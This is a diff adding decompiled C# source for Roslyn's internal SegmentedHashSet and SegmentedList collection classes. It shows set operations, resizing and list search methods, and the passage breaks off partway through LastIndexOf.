+ if (collection is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + ConstructFrom(segmentedHashSet); + return; + } + if (collection is ICollection { Count: var count } && count > 0) + { + Initialize(count); + } + UnionWith(collection); + if (_count > 0 && _entries.Length / _count > 3) + { + TrimExcess(); + } + } + + public SegmentedHashSet(int capacity, IEqualityComparer? comparer) + : this(comparer) + { + if (capacity < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.capacity); + } + if (capacity > 0) + { + Initialize(capacity); + } + } + + private void ConstructFrom(SegmentedHashSet source) + { + if (source.Count == 0) + { + return; + } + int length = source._buckets.Length; + if (HashHelpers.ExpandPrime(source.Count + 1) >= length) + { + _buckets = (SegmentedArray)source._buckets.Clone(); + _entries = (SegmentedArray)source._entries.Clone(); + _freeList = source._freeList; + _freeCount = source._freeCount; + _count = source._count; + _fastModMultiplier = source._fastModMultiplier; + return; + } + Initialize(source.Count); + SegmentedArray entries = source._entries; + for (int i = 0; i < source._count; i++) + { + ref Entry reference = ref entries[i]; + if (reference._next >= -1) + { + AddIfNotPresent(reference._value, out var _); + } + } + } + + void ICollection.Add(T item) + { + AddIfNotPresent(item, out var _); + } + + public void Clear() + { + int count = _count; + if (count > 0) + { + SegmentedArray.Clear(_buckets, 0, _buckets.Length); + _count = 0; + _freeList = -1; + _freeCount = 0; + SegmentedArray.Clear(_entries, 0, count); + } + } + + public bool Contains(T item) + { + return FindItemIndex(item) >= 0; + } + + private int FindItemIndex(T item) + { + SegmentedArray buckets = _buckets; + if (buckets.Length > 0) + { + SegmentedArray entries = _entries; + uint num = 0u; + IEqualityComparer comparer = _comparer; + int num2 = ((item != null) ? comparer.GetHashCode(item) : 0); + int num3 = GetBucketRef(num2) - 1; + while (num3 >= 0) + { + ref Entry reference = ref entries[num3]; + if (reference._hashCode == num2 && comparer.Equals(reference._value, item)) + { + return num3; + } + num3 = reference._next; + num++; + if (num > (uint)entries.Length) + { + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + } + } + return -1; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + private ref int GetBucketRef(int hashCode) + { + SegmentedArray buckets = _buckets; + return ref buckets[(int)HashHelpers.FastMod((uint)hashCode, (uint)buckets.Length, _fastModMultiplier)]; + } + + public bool Remove(T item) + { + if (_buckets.Length > 0) + { + SegmentedArray entries = _entries; + uint num = 0u; + int num2 = -1; + int num3 = ((item != null) ? (_comparer?.GetHashCode(item) ?? item.GetHashCode()) : 0); + ref int bucketRef = ref GetBucketRef(num3); + int num4 = bucketRef - 1; + while (num4 >= 0) + { + ref Entry reference = ref entries[num4]; + if (reference._hashCode == num3 && (_comparer?.Equals(reference._value, item) ?? EqualityComparer.Default.Equals(reference._value, item))) + { + if (num2 < 0) + { + bucketRef = reference._next + 1; + } + else + { + entries[num2]._next = reference._next; + } + reference._next = -3 - _freeList; + reference._value = default(T); + _freeList = num4; + _freeCount++; + return true; + } + num2 = num4; + num4 = reference._next; + num++; + if (num > (uint)entries.Length) + { + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + } + } + return false; + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return GetEnumerator(); + } + + public bool Add(T item) + { + int location; + return AddIfNotPresent(item, out location); + } + + public bool TryGetValue(T equalValue, [MaybeNullWhen(false)] out T actualValue) + { + if (_buckets.Length > 0) + { + int num = FindItemIndex(equalValue); + if (num >= 0) + { + actualValue = _entries[num]._value; + return true; + } + } + actualValue = default(T); + return false; + } + + public void UnionWith(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + foreach (T item in other) + { + AddIfNotPresent(item, out var _); + } + } + + public void IntersectWith(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (Count == 0 || other == this) + { + return; + } + if (other is ICollection collection) + { + if (collection.Count == 0) + { + Clear(); + return; + } + if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + IntersectWithHashSetWithSameComparer(segmentedHashSet); + return; + } + } + IntersectWithEnumerable(other); + } + + public void ExceptWith(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (Count == 0) + { + return; + } + if (other == this) + { + Clear(); + return; + } + foreach (T item in other) + { + Remove(item); + } + } + + public void SymmetricExceptWith(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (Count == 0) + { + UnionWith(other); + } + else if (other == this) + { + Clear(); + } + else if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + SymmetricExceptWithUniqueHashSet(segmentedHashSet); + } + else + { + SymmetricExceptWithEnumerable(other); + } + } + + public bool IsSubsetOf(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (Count == 0 || other == this) + { + return true; + } + if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + if (Count > segmentedHashSet.Count) + { + return false; + } + return IsSubsetOfHashSetWithSameComparer(segmentedHashSet); + } + var (num, num2) = CheckUniqueAndUnfoundElements(other, returnIfUnfound: false); + if (num == Count) + { + return num2 >= 0; + } + return false; + } + + public bool IsProperSubsetOf(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (other == this) + { + return false; + } + if (other is ICollection collection) + { + if (collection.Count == 0) + { + return false; + } + if (Count == 0) + { + return collection.Count > 0; + } + if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + if (Count >= segmentedHashSet.Count) + { + return false; + } + return IsSubsetOfHashSetWithSameComparer(segmentedHashSet); + } + } + var (num, num2) = CheckUniqueAndUnfoundElements(other, returnIfUnfound: false); + if (num == Count) + { + return num2 > 0; + } + return false; + } + + public bool IsSupersetOf(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (other == this) + { + return true; + } + if (other is ICollection collection) + { + if (collection.Count == 0) + { + return true; + } + if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet) && segmentedHashSet.Count > Count) + { + return false; + } + } + return ContainsAllElements(other); + } + + public bool IsProperSupersetOf(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (Count == 0 || other == this) + { + return false; + } + if (other is ICollection collection) + { + if (collection.Count == 0) + { + return true; + } + if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + if (segmentedHashSet.Count >= Count) + { + return false; + } + return ContainsAllElements(segmentedHashSet); + } + } + var (num, num2) = CheckUniqueAndUnfoundElements(other, returnIfUnfound: true); + if (num < Count) + { + return num2 == 0; + } + return false; + } + + public bool Overlaps(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (Count == 0) + { + return false; + } + if (other == this) + { + return true; + } + foreach (T item in other) + { + if (Contains(item)) + { + return true; + } + } + return false; + } + + public bool SetEquals(IEnumerable other) + { + if (other == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.other); + } + if (other == this) + { + return true; + } + if (other is SegmentedHashSet segmentedHashSet && EqualityComparersAreEqual(this, segmentedHashSet)) + { + if (Count != segmentedHashSet.Count) + { + return false; + } + return ContainsAllElements(segmentedHashSet); + } + if (Count == 0 && other is ICollection { Count: >0 }) + { + return false; + } + var (num, num2) = CheckUniqueAndUnfoundElements(other, returnIfUnfound: true); + if (num == Count) + { + return num2 == 0; + } + return false; + } + + public void CopyTo(T[] array) + { + CopyTo(array, 0, Count); + } + + public void CopyTo(T[] array, int arrayIndex) + { + CopyTo(array, arrayIndex, Count); + } + + public void CopyTo(T[] array, int arrayIndex, int count) + { + if (array == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.array); + } + if (arrayIndex < 0) + { + throw new ArgumentOutOfRangeException("arrayIndex", arrayIndex, SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (count < 0) + { + throw new ArgumentOutOfRangeException("count", count, SR.ArgumentOutOfRange_NeedNonNegNum); + } + if (arrayIndex > array.Length || count > array.Length - arrayIndex) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_ArrayPlusOffTooSmall); + } + SegmentedArray entries = _entries; + for (int i = 0; i < _count; i++) + { + if (count == 0) + { + break; + } + ref Entry reference = ref entries[i]; + if (reference._next >= -1) + { + array[arrayIndex++] = reference._value; + count--; + } + } + } + + public int RemoveWhere(Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + SegmentedArray entries = _entries; + int num = 0; + for (int i = 0; i < _count; i++) + { + ref Entry reference = ref entries[i]; + if (reference._next >= -1) + { + T value = reference._value; + if (match(value) && Remove(value)) + { + num++; + } + } + } + return num; + } + + public int EnsureCapacity(int capacity) + { + if (capacity < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.capacity); + } + int length = _entries.Length; + if (length >= capacity) + { + return length; + } + if (_buckets.Length == 0) + { + return Initialize(capacity); + } + int prime = HashHelpers.GetPrime(capacity); + Resize(prime); + return prime; + } + + private void Resize() + { + Resize(HashHelpers.ExpandPrime(_count)); + } + + private void Resize(int newSize) + { + SegmentedArray segmentedArray = new SegmentedArray(newSize); + int count = _count; + SegmentedArray.Copy(_entries, segmentedArray, count); + _buckets = new SegmentedArray(newSize); + _fastModMultiplier = HashHelpers.GetFastModMultiplier((uint)newSize); + for (int i = 0; i < count; i++) + { + ref Entry reference = ref segmentedArray[i]; + if (reference._next >= -1) + { + ref int bucketRef = ref GetBucketRef(reference._hashCode); + reference._next = bucketRef - 1; + bucketRef = i + 1; + } + } + _entries = segmentedArray; + } + + public void TrimExcess() + { + int count = Count; + int prime = HashHelpers.GetPrime(count); + SegmentedArray entries = _entries; + int length = entries.Length; + if (prime >= length) + { + return; + } + int count2 = _count; + _version++; + Initialize(prime); + SegmentedArray entries2 = _entries; + int num = 0; + for (int i = 0; i < count2; i++) + { + int hashCode = entries[i]._hashCode; + if (entries[i]._next >= -1) + { + ref Entry reference = ref entries2[num]; + reference = entries[i]; + ref int bucketRef = ref GetBucketRef(hashCode); + reference._next = bucketRef - 1; + bucketRef = num + 1; + num++; + } + } + _count = count; + _freeCount = 0; + } + + public static IEqualityComparer> CreateSetComparer() + { + return new SegmentedHashSetEqualityComparer(); + } + + private int Initialize(int capacity) + { + int prime = HashHelpers.GetPrime(capacity); + SegmentedArray buckets = new SegmentedArray(prime); + SegmentedArray entries = new SegmentedArray(prime); + _freeList = -1; + _buckets = buckets; + _entries = entries; + _fastModMultiplier = HashHelpers.GetFastModMultiplier((uint)prime); + return prime; + } + + private bool AddIfNotPresent(T value, out int location) + { + if (_buckets.Length == 0) + { + Initialize(0); + } + SegmentedArray entries = _entries; + IEqualityComparer comparer = _comparer; + uint num = 0u; + ref int reference = ref RoslynUnsafe.NullRef(); + int num2 = ((value != null) ? comparer.GetHashCode(value) : 0); + reference = ref GetBucketRef(num2); + int num3 = reference - 1; + while (num3 >= 0) + { + ref Entry reference2 = ref entries[num3]; + if (reference2._hashCode == num2 && comparer.Equals(reference2._value, value)) + { + location = num3; + return false; + } + num3 = reference2._next; + num++; + if (num > (uint)entries.Length) + { + ThrowHelper.ThrowInvalidOperationException_ConcurrentOperationsNotSupported(); + } + } + int num4; + if (_freeCount > 0) + { + num4 = _freeList; + _freeCount--; + _freeList = -3 - entries[_freeList]._next; + } + else + { + int count = _count; + if (count == entries.Length) + { + Resize(); + reference = ref GetBucketRef(num2); + } + num4 = count; + _count = count + 1; + entries = _entries; + } + ref Entry reference3 = ref entries[num4]; + reference3._hashCode = num2; + reference3._next = reference - 1; + reference3._value = value; + reference = num4 + 1; + _version++; + location = num4; + return true; + } + + private bool ContainsAllElements(IEnumerable other) + { + foreach (T item in other) + { + if (!Contains(item)) + { + return false; + } + } + return true; + } + + internal bool IsSubsetOfHashSetWithSameComparer(SegmentedHashSet other) + { + using (Enumerator enumerator = GetEnumerator()) + { + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + if (!other.Contains(current)) + { + return false; + } + } + } + return true; + } + + private void IntersectWithHashSetWithSameComparer(SegmentedHashSet other) + { + SegmentedArray entries = _entries; + for (int i = 0; i < _count; i++) + { + ref Entry reference = ref entries[i]; + if (reference._next >= -1) + { + T value = reference._value; + if (!other.Contains(value)) + { + Remove(value); + } + } + } + } + + private void IntersectWithEnumerable(IEnumerable other) + { + int count = _count; + int num = BitHelper.ToIntArrayLength(count); + Span span = stackalloc int[100]; + BitHelper bitHelper = ((num <= 100) ? new BitHelper(span.Slice(0, num), clear: true) : new BitHelper(new int[num], clear: false)); + foreach (T item in other) + { + int num2 = FindItemIndex(item); + if (num2 >= 0) + { + bitHelper.MarkBit(num2); + } + } + for (int i = 0; i < count; i++) + { + ref Entry reference = ref _entries[i]; + if (reference._next >= -1 && !bitHelper.IsMarked(i)) + { + Remove(reference._value); + } + } + } + + private void SymmetricExceptWithUniqueHashSet(SegmentedHashSet other) + { + foreach (T item in other) + { + if (!Remove(item)) + { + AddIfNotPresent(item, out var _); + } + } + } + + private void SymmetricExceptWithEnumerable(IEnumerable other) + { + int count = _count; + int num = BitHelper.ToIntArrayLength(count); + Span span = stackalloc int[50]; + BitHelper bitHelper = ((num <= 50) ? new BitHelper(span.Slice(0, num), clear: true) : new BitHelper(new int[num], clear: false)); + Span span2 = stackalloc int[50]; + BitHelper bitHelper2 = ((num <= 50) ? new BitHelper(span2.Slice(0, num), clear: true) : new BitHelper(new int[num], clear: false)); + foreach (T item in other) + { + if (AddIfNotPresent(item, out var location)) + { + bitHelper2.MarkBit(location); + } + else if (location < count && !bitHelper2.IsMarked(location)) + { + bitHelper.MarkBit(location); + } + } + for (int i = 0; i < count; i++) + { + if (bitHelper.IsMarked(i)) + { + Remove(_entries[i]._value); + } + } + } + + private (int UniqueCount, int UnfoundCount) CheckUniqueAndUnfoundElements(IEnumerable other, bool returnIfUnfound) + { + if (_count == 0) + { + int num = 0; + using (IEnumerator enumerator = other.GetEnumerator()) + { + if (enumerator.MoveNext()) + { + _ = enumerator.Current; + num++; + } + } + return (UniqueCount: 0, UnfoundCount: num); + } + int num2 = BitHelper.ToIntArrayLength(_count); + Span span = stackalloc int[100]; + BitHelper bitHelper = ((num2 <= 100) ? new BitHelper(span.Slice(0, num2), clear: true) : new BitHelper(new int[num2], clear: false)); + int num3 = 0; + int num4 = 0; + foreach (T item in other) + { + int num5 = FindItemIndex(item); + if (num5 >= 0) + { + if (!bitHelper.IsMarked(num5)) + { + bitHelper.MarkBit(num5); + num4++; + } + } + else + { + num3++; + if (returnIfUnfound) + { + break; + } + } + } + return (UniqueCount: num4, UnfoundCount: num3); + } + + internal static bool EqualityComparersAreEqual(SegmentedHashSet set1, SegmentedHashSet set2) + { + return set1.Comparer.Equals(set2.Comparer); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedList.cs b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedList.cs new file mode 100644 index 0000000..c6d768d --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis/Microsoft.CodeAnalysis.Collections/SegmentedList.cs @@ -0,0 +1,1015 @@ +using System; +using System.Collections; +using System.Collections.Generic; +using System.Collections.ObjectModel; +using System.Diagnostics; +using System.Runtime.CompilerServices; +using Microsoft.CodeAnalysis.Collections.Internal; + +namespace Microsoft.CodeAnalysis.Collections; + +[DebuggerTypeProxy(typeof(ICollectionDebugView<>))] +[DebuggerDisplay("Count = {Count}")] +internal class SegmentedList : IList, ICollection, IEnumerable, IEnumerable, IList, ICollection, IReadOnlyList, IReadOnlyCollection +{ + public struct Enumerator : IEnumerator, IEnumerator, IDisposable + { + private readonly SegmentedList _list; + + private int _index; + + private readonly int _version; + + private T? _current; + + public readonly T Current => _current; + + readonly object? IEnumerator.Current + { + get + { + if (_index == 0 || _index == _list._size + 1) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumOpCantHappen(); + } + return Current; + } + } + + internal Enumerator(SegmentedList list) + { + _list = list; + _index = 0; + _version = list._version; + _current = default(T); + } + + public readonly void Dispose() + { + } + + public bool MoveNext() + { + SegmentedList list = _list; + if (_version == list._version && (uint)_index < (uint)list._size) + { + _current = list._items[_index]; + _index++; + return true; + } + return MoveNextRare(); + } + + private bool MoveNextRare() + { + if (_version != _list._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + _index = _list._size + 1; + _current = default(T); + return false; + } + + void IEnumerator.Reset() + { + if (_version != _list._version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + _index = 0; + _current = default(T); + } + } + + private const int DefaultCapacity = 4; + + private const int MaxArrayLength = 2146435071; + + internal SegmentedArray _items; + + internal int _size; + + private int _version; + + private static readonly SegmentedArray s_emptyArray = new SegmentedArray(0); + + public int Capacity + { + get + { + return _items.Length; + } + set + { + if (value < _size) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.value, ExceptionResource.ArgumentOutOfRange_SmallCapacity); + } + if (value == _items.Length) + { + return; + } + if (value > 0) + { + SegmentedArray segmentedArray = new SegmentedArray(value); + if (_size > 0) + { + SegmentedArray.Copy(_items, segmentedArray, _size); + } + _items = segmentedArray; + } + else + { + _items = s_emptyArray; + } + } + } + + public int Count => _size; + + bool IList.IsFixedSize => false; + + bool ICollection.IsReadOnly => false; + + bool IList.IsReadOnly => false; + + bool ICollection.IsSynchronized => false; + + object ICollection.SyncRoot => this; + + public T this[int index] + { + get + { + if ((uint)index >= (uint)_size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + return _items[index]; + } + set + { + if ((uint)index >= (uint)_size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + _items[index] = value; + _version++; + } + } + + object? IList.this[int index] + { + get + { + return this[index]; + } + set + { + ThrowHelper.IfNullAndNullsAreIllegalThenThrow(value, ExceptionArgument.value); + try + { + this[index] = (T)value; + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongValueTypeArgumentException(value, typeof(T)); + } + } + } + + public SegmentedList() + { + _items = s_emptyArray; + } + + public SegmentedList(int capacity) + { + if (capacity < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.capacity, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (capacity == 0) + { + _items = s_emptyArray; + } + else + { + _items = new SegmentedArray(capacity); + } + } + + public SegmentedList(IEnumerable collection) + { + if (collection == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.collection); + } + if (collection is SegmentedList segmentedList) + { + _items = (SegmentedArray)segmentedList._items.Clone(); + _size = segmentedList._size; + return; + } + if (collection is ICollection { Count: var count } collection2) + { + if (count == 0) + { + _items = s_emptyArray; + return; + } + _items = new SegmentedArray(count); + T[][] array = (T[][])_items.SyncRoot; + if (array != null && array.Length == 1) + { + collection2.CopyTo(array[0], 0); + _size = count; + return; + } + } + else + { + _items = s_emptyArray; + } + foreach (T item in collection) + { + Add(item); + } + } + + private static bool IsCompatibleObject(object? value) + { + if (!(value is T)) + { + if (value == null) + { + return default(T) == null; + } + return false; + } + return true; + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Add(T item) + { + _version++; + SegmentedArray items = _items; + int size = _size; + if ((uint)size < (uint)items.Length) + { + _size = size + 1; + items[size] = item; + } + else + { + AddWithResize(item); + } + } + + [MethodImpl(MethodImplOptions.NoInlining)] + private void AddWithResize(T item) + { + int size = _size; + EnsureCapacity(size + 1); + _size = size + 1; + _items[size] = item; + } + + int IList.Add(object? item) + { + ThrowHelper.IfNullAndNullsAreIllegalThenThrow(item, ExceptionArgument.item); + try + { + Add((T)item); + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongValueTypeArgumentException(item, typeof(T)); + } + return Count - 1; + } + + public void AddRange(IEnumerable collection) + { + InsertRange(_size, collection); + } + + public ReadOnlyCollection AsReadOnly() + { + return new ReadOnlyCollection(this); + } + + public int BinarySearch(int index, int count, T item, IComparer? comparer) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (_size - index < count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + return SegmentedArray.BinarySearch(_items, index, count, item, comparer); + } + + public int BinarySearch(T item) + { + return BinarySearch(0, Count, item, null); + } + + public int BinarySearch(T item, IComparer? comparer) + { + return BinarySearch(0, Count, item, comparer); + } + + [MethodImpl(MethodImplOptions.AggressiveInlining)] + public void Clear() + { + _version++; + int size = _size; + _size = 0; + if (size > 0) + { + SegmentedArray.Clear(_items, 0, size); + } + } + + public bool Contains(T item) + { + if (_size != 0) + { + return IndexOf(item) != -1; + } + return false; + } + + bool IList.Contains(object? item) + { + if (IsCompatibleObject(item)) + { + return Contains((T)item); + } + return false; + } + + public SegmentedList ConvertAll(Converter converter) + { + if (converter == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.converter); + } + SegmentedList segmentedList = new SegmentedList(_size); + for (int i = 0; i < _size; i++) + { + segmentedList._items[i] = converter(_items[i]); + } + segmentedList._size = _size; + return segmentedList; + } + + public void CopyTo(T[] array) + { + CopyTo(array, 0); + } + + void ICollection.CopyTo(Array array, int arrayIndex) + { + if (array != null && array.Rank != 1) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Arg_RankMultiDimNotSupported); + } + try + { + SegmentedArray.Copy(_items, 0, array, arrayIndex, _size); + } + catch (ArrayTypeMismatchException) + { + ThrowHelper.ThrowArgumentException_Argument_InvalidArrayType(); + } + } + + public void CopyTo(int index, T[] array, int arrayIndex, int count) + { + if (_size - index < count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + SegmentedArray.Copy(_items, index, array, arrayIndex, count); + } + + public void CopyTo(T[] array, int arrayIndex) + { + SegmentedArray.Copy(_items, 0, array, arrayIndex, _size); + } + + private void EnsureCapacity(int min) + { + if (_items.Length < min) + { + int num = ((_items.Length == 0) ? 4 : (_items.Length * 2)); + if ((uint)num > 2146435071u) + { + num = 2146435071; + } + if (num < min) + { + num = min; + } + Capacity = num; + } + } + + public bool Exists(Predicate match) + { + return FindIndex(match) != -1; + } + + public T? Find(Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + for (int i = 0; i < _size; i++) + { + if (match(_items[i])) + { + return _items[i]; + } + } + return default(T); + } + + public SegmentedList FindAll(Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + SegmentedList segmentedList = new SegmentedList(); + for (int i = 0; i < _size; i++) + { + if (match(_items[i])) + { + segmentedList.Add(_items[i]); + } + } + return segmentedList; + } + + public int FindIndex(Predicate match) + { + return FindIndex(0, _size, match); + } + + public int FindIndex(int startIndex, Predicate match) + { + return FindIndex(startIndex, _size - startIndex, match); + } + + public int FindIndex(int startIndex, int count, Predicate match) + { + if ((uint)startIndex > (uint)_size) + { + ThrowHelper.ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index(); + } + if (count < 0 || startIndex > _size - count) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + int num = startIndex + count; + for (int i = startIndex; i < num; i++) + { + if (match(_items[i])) + { + return i; + } + } + return -1; + } + + public T? FindLast(Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + for (int num = _size - 1; num >= 0; num--) + { + if (match(_items[num])) + { + return _items[num]; + } + } + return default(T); + } + + public int FindLastIndex(Predicate match) + { + return FindLastIndex(_size - 1, _size, match); + } + + public int FindLastIndex(int startIndex, Predicate match) + { + return FindLastIndex(startIndex, startIndex + 1, match); + } + + public int FindLastIndex(int startIndex, int count, Predicate match) + { + if (match == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.match); + } + if (_size == 0) + { + if (startIndex != -1) + { + ThrowHelper.ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index(); + } + } + else if ((uint)startIndex >= (uint)_size) + { + ThrowHelper.ThrowStartIndexArgumentOutOfRange_ArgumentOutOfRange_Index(); + } + if (count < 0 || startIndex - count + 1 < 0) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + int num = startIndex - count; + for (int num2 = startIndex; num2 > num; num2--) + { + if (match(_items[num2])) + { + return num2; + } + } + return -1; + } + + public void ForEach(Action action) + { + if (action == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.action); + } + int version = _version; + for (int i = 0; i < _size; i++) + { + if (version != _version) + { + break; + } + action(_items[i]); + } + if (version != _version) + { + ThrowHelper.ThrowInvalidOperationException_InvalidOperation_EnumFailedVersion(); + } + } + + public Enumerator GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(this); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return new Enumerator(this); + } + + public SegmentedList GetRange(int index, int count) + { + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, ExceptionResource.ArgumentOutOfRange_NeedNonNegNum); + } + if (_size - index < count) + { + ThrowHelper.ThrowArgumentException(ExceptionResource.Argument_InvalidOffLen); + } + SegmentedList segmentedList = new SegmentedList(count); + SegmentedArray.Copy(_items, index, segmentedList._items, 0, count); + segmentedList._size = count; + return segmentedList; + } + + public int IndexOf(T item) + { + return SegmentedArray.IndexOf(_items, item, 0, _size); + } + + int IList.IndexOf(object? item) + { + if (IsCompatibleObject(item)) + { + return IndexOf((T)item); + } + return -1; + } + + public int IndexOf(T item, int index) + { + if (index > _size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + return SegmentedArray.IndexOf(_items, item, index, _size - index); + } + + public int IndexOf(T item, int index, int count) + { + if (index > _size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + if (count < 0 || index > _size - count) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + return SegmentedArray.IndexOf(_items, item, index, count); + } + + public int IndexOf(T item, int index, int count, IEqualityComparer? comparer) + { + if (index > _size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + if (count < 0 || index > _size - count) + { + ThrowHelper.ThrowCountArgumentOutOfRange_ArgumentOutOfRange_Count(); + } + return SegmentedArray.IndexOf(_items, item, index, count, comparer); + } + + public void Insert(int index, T item) + { + if ((uint)index > (uint)_size) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.index, ExceptionResource.ArgumentOutOfRange_ListInsert); + } + if (_size == _items.Length) + { + EnsureCapacity(_size + 1); + } + if (index < _size) + { + SegmentedArray.Copy(_items, index, _items, index + 1, _size - index); + } + _items[index] = item; + _size++; + _version++; + } + + void IList.Insert(int index, object? item) + { + ThrowHelper.IfNullAndNullsAreIllegalThenThrow(item, ExceptionArgument.item); + try + { + Insert(index, (T)item); + } + catch (InvalidCastException) + { + ThrowHelper.ThrowWrongValueTypeArgumentException(item, typeof(T)); + } + } + + public void InsertRange(int index, IEnumerable collection) + { + if (collection == null) + { + ThrowHelper.ThrowArgumentNullException(ExceptionArgument.collection); + } + if ((uint)index > (uint)_size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + if (collection is ICollection { Count: var count } collection2) + { + if (count > 0) + { + EnsureCapacity(_size + count); + if (index < _size) + { + SegmentedArray.Copy(_items, index, _items, index + count, _size - index); + } + if (this == collection2) + { + SegmentedArray.Copy(_items, 0, _items, index, index); + SegmentedArray.Copy(_items, index + count, _items, index * 2, _size - index); + } + else if (collection2 is SegmentedList segmentedList) + { + SegmentedArray.Copy(segmentedList._items, 0, _items, index, segmentedList.Count); + } + else if (collection2 is SegmentedArray sourceArray) + { + SegmentedArray.Copy(sourceArray, 0, _items, index, sourceArray.Length); + } + else + { + int num = index; + foreach (T item in collection2) + { + _items[num++] = item; + } + } + _size += count; + } + } + else + { + using IEnumerator enumerator2 = collection.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Insert(index++, enumerator2.Current); + } + } + _version++; + } + + public int LastIndexOf(T item) + { + if (_size == 0) + { + return -1; + } + return LastIndexOf(item, _size - 1, _size); + } + + public int LastIndexOf(T item, int index) + { + if (index >= _size) + { + ThrowHelper.ThrowArgumentOutOfRange_IndexException(); + } + return LastIndexOf(item, index, index + 1); + } + + public int LastIndexOf(T item, int index, int count) + { + if (_size == 0) + { + return -1; + } + if (index < 0) + { + ThrowHelper.ThrowIndexArgumentOutOfRange_NeedNonNegNumException(); + } + if (count < 0) + { + ThrowHelper.ThrowArgumentOutOfRangeException(ExceptionArgument.count, 